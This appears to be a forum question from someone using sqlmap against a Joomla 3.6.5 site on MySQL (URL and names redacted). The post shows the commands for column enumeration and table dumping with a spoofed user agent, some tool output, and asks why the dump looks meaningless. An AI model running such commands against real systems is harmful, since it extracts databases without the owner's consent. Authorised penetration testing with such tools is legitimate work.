Using SQLMap in this way:
sqlmap -u "xxxxx" --dbms=MySql --dbs --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0" -D xxxxx -T "#__xxxxx" --columns
I am obtaining this warning:
[23:39:07] [WARNING] unable to retrieve column names for table '#__xxxxx' in database 'xxxxx' do you want to use common column existence check? [y/N/q] y
[23:39:19] [INFO] checking column existence using items from '/usr/share/sqlmap/txt/common-columns.txt'
In this way it carries out 5 columns.
Proceding with this command I perform a dump:
sqlmap -u "xxxxx" --dbms=MySql --dbs --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0" -D xxxxx -T "#__xxxxx" -C xxxxx1,xxxxx2,xxxxx3,xxxxx4,xxxxx5 --dump
Finally analyzing the result, it appears almost meaningless.
This application is based on Joomla 3.6.5 and MySQL.
Am I doing something wrong or can be it a problem that i can't solve?